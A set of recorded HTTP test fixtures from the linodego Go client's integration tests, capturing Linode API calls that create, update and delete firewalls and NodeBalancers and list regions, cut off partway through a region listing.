Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"port":80,"protocol":"http","proxy_protocol":"none","algorithm":"roundrobin","stickiness":"none","check":"none","check_interval":60,"check_attempts":3,"check_passive":true,"check_timeout":30,"cipher_suite":"recommended","nodes":[]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/441126/configs/670344/rebuild method: POST response: body: '{"id": 670344, "port": 80, "protocol": "http", "algorithm": "roundrobin", "stickiness": "none", "check": "none", "check_interval": 60, "check_timeout": 30, "check_attempts": 3, "check_path": "", "check_body": "", "check_passive": true, "proxy_protocol": "none", "cipher_suite": "recommended", "nodebalancer_id": 441126, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": null, "nodes_status": {"up": 0, "down": 1}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "437" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/441126/configs/670344/nodes/516206639 method: DELETE response: body: '{"errors": [{"reason": "Not found"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Content-Length: - "37" Content-Type: - application/json Server: - nginx X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" status: 404 Not Found code: 404 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/49708285 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestNodeBalancer_Update.yaml000066400000000000000000000570241455402072200321260ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"label":"linodego-fw-test","rules":{"inbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"inbound_policy":"ACCEPT","outbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"outbound_policy":"ACCEPT"},"tags":["testing"],"devices":{}}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls method: POST response: body: '{"id": 228224, "label": "linodego-fw-test", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "inbound_policy": "ACCEPT", "outbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "outbound_policy": "ACCEPT"}, "tags": ["testing"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "526" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": 24}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-def","region":"ap-west","client_conn_throttle":20,"tags":null,"firewall_id":228224}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers method: POST response: body: '{"id": 441135, "label": "go-test-def", "region": "ap-west", "hostname": "172-232-87-37.ip.linodeusercontent.com", "ipv4": "172.232.87.37", "ipv6": "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "334" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-def_r"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/441135 method: PUT response: body: '{"id": 441135, "label": "go-test-def_r", "region": "ap-west", "hostname": "172-232-87-37.ip.linodeusercontent.com", "ipv4": "172.232.87.37", "ipv6": "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "336" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/441135 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls/228224 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestNodeBalancers_List.yaml000066400000000000000000000572031455402072200320010ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"label":"linodego-fw-test","rules":{"inbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"inbound_policy":"ACCEPT","outbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"outbound_policy":"ACCEPT"},"tags":["testing"],"devices":{}}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls method: POST response: body: '{"id": 228225, "label": "linodego-fw-test", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "inbound_policy": "ACCEPT", "outbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "outbound_policy": "ACCEPT"}, "tags": ["testing"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "526" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 